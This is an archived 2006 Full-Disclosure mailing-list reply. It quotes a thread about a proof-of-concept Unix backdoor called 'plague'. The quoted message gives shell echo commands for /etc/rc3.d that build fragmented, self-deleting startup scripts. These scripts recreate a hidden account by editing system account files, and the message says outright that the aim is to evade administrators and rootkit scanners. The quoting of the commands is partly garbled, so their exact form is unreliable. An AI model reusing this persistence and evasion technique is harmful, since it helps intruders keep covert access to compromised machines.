[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <4359.192.168.0.6.1161614864.squirrel@mail.oldum.net>
Date: Mon, 23 Oct 2006 17:47:44 +0300 (EEST)
From: hijacker@...um.net
To: "J. Oquendo" <sil@...iltrated.net>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Plague re-visited
J. Oquendo,
Sorry for my ever asking for clarification on plague.
Keep the "good" work.
Maybe I will be unsubscribed by the time you read those lines, who knows?
cheers,
-nik
> hijacker@...um.net wrote:
>> Hello Rik,
>> and how on earth can you make "root" run that piece of code? Do you have
>> to specify it in the README section that it is mandatory to run that as
>> root in order the "new" application root will be installing to run as
>> expected?
>>
>
> If you need someone to spell out how this works and how it maintains an
> account then you should unsubscribe from all security lists and search
> google for pokemon, change your hobby, get out of this field. From the
> onset nothing specified "remote root access" it stated proof of concept
> "BACKDOOR" if you need the term defined for you, re-read the previous
> sentence in its entirety.
>
>> Indeed, it is hard to tell what it actually does... unless you open your
>> eyes and see sed 's/root/something/g' somewhere.
>>
>
> The purpose of me pondering this was a "notion" that one doesn't always
> need to re-invent the wheel. Using standard commands, its actually easier
> and safer to maintain a backdoor. If someone already rooted a machine, how
> does one maintain that account without setting off bells and whistles.
> It's alot easier to whip up little bits and pieces and have it precompile
> into one script, run itself, and delete itself afterwards. There would be
> no trace of any "all inclusive" backdoor programs. A snippet here, a
> snippet there all precompiling either on a system startup or shutdown.
>
>> Either way, installing from hundreds of source files, can make even the
>> best sys admin to not notice that part of the source code of the
>> BACKDOOR-contagious application!
>>
>
> Really... Most system administrators don't even pay attention to log
> files. Most system administrators are so caught up with every work,
> putting out fires, configuring and maintaining systems they don't have
> time to check a 500gb drive for a backdoor, and when they do, they're
> doing what running chkrootkit. Using a method such as the one I described
> makes it much more difficult to detect a backdoor. As for seeing the word
> root and raising a red flag, don't make me laugh, see lines 2 and 4
> below... Let's start in /etc/rc3.d...
>
> echo "file=`awk 'NR==59 {gsub(/"/,"");print \$3}' /usr/include/paths.h`"
> >> K1firstfile
> echo "echo "sed -n '1p' \$file|sed 's/[^:]*:/new_account_name:/' >> $file"
> >>" >> K2nextfile
> echo "file2=`awk 'NR==74 {print \$8}' /usr/include/sysexits.h`" >>
> K3anotherfile
> echo "sed -n '1p' \$file2|sed 's/[^:]*:/new_account_name:/'' >> $file2" >>
> K4endingfile
> echo "rm $file1 $file2" >> K5lastfileremove
>
> Where one file depends on the next and so on and so forth. At the end of
> it all the backdoor files are removed, yet on startup (or shutdown
> depending on how its written), files are re-compiled and the account is
> recreated. The problem I see with many administrators and users nowadays,
> are they're not totally clued in... So you see file=`awk 'NR==59
> {gsub(/"/,"");print \$3}' /usr/include/paths.h` ... Unless you have
> K1firstfile checksummed, most wouldn't give it a second look.
>
>> bad PLAGUE! bad intentions! bad people possibly putting that where root
>> is
>> messing.
>>
>
> I hope that comment was sarcasm and not stupidity...
>
>
> =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
> J. Oquendo
> echo @infiltrated|sed 's/^/sil/g;s/$/.net/g'
> http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x1383A743
>
> "How a man plays the game shows something of his
> character - how he loses shows all" - Mr. Luckey
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Powered by blists - more mailing lists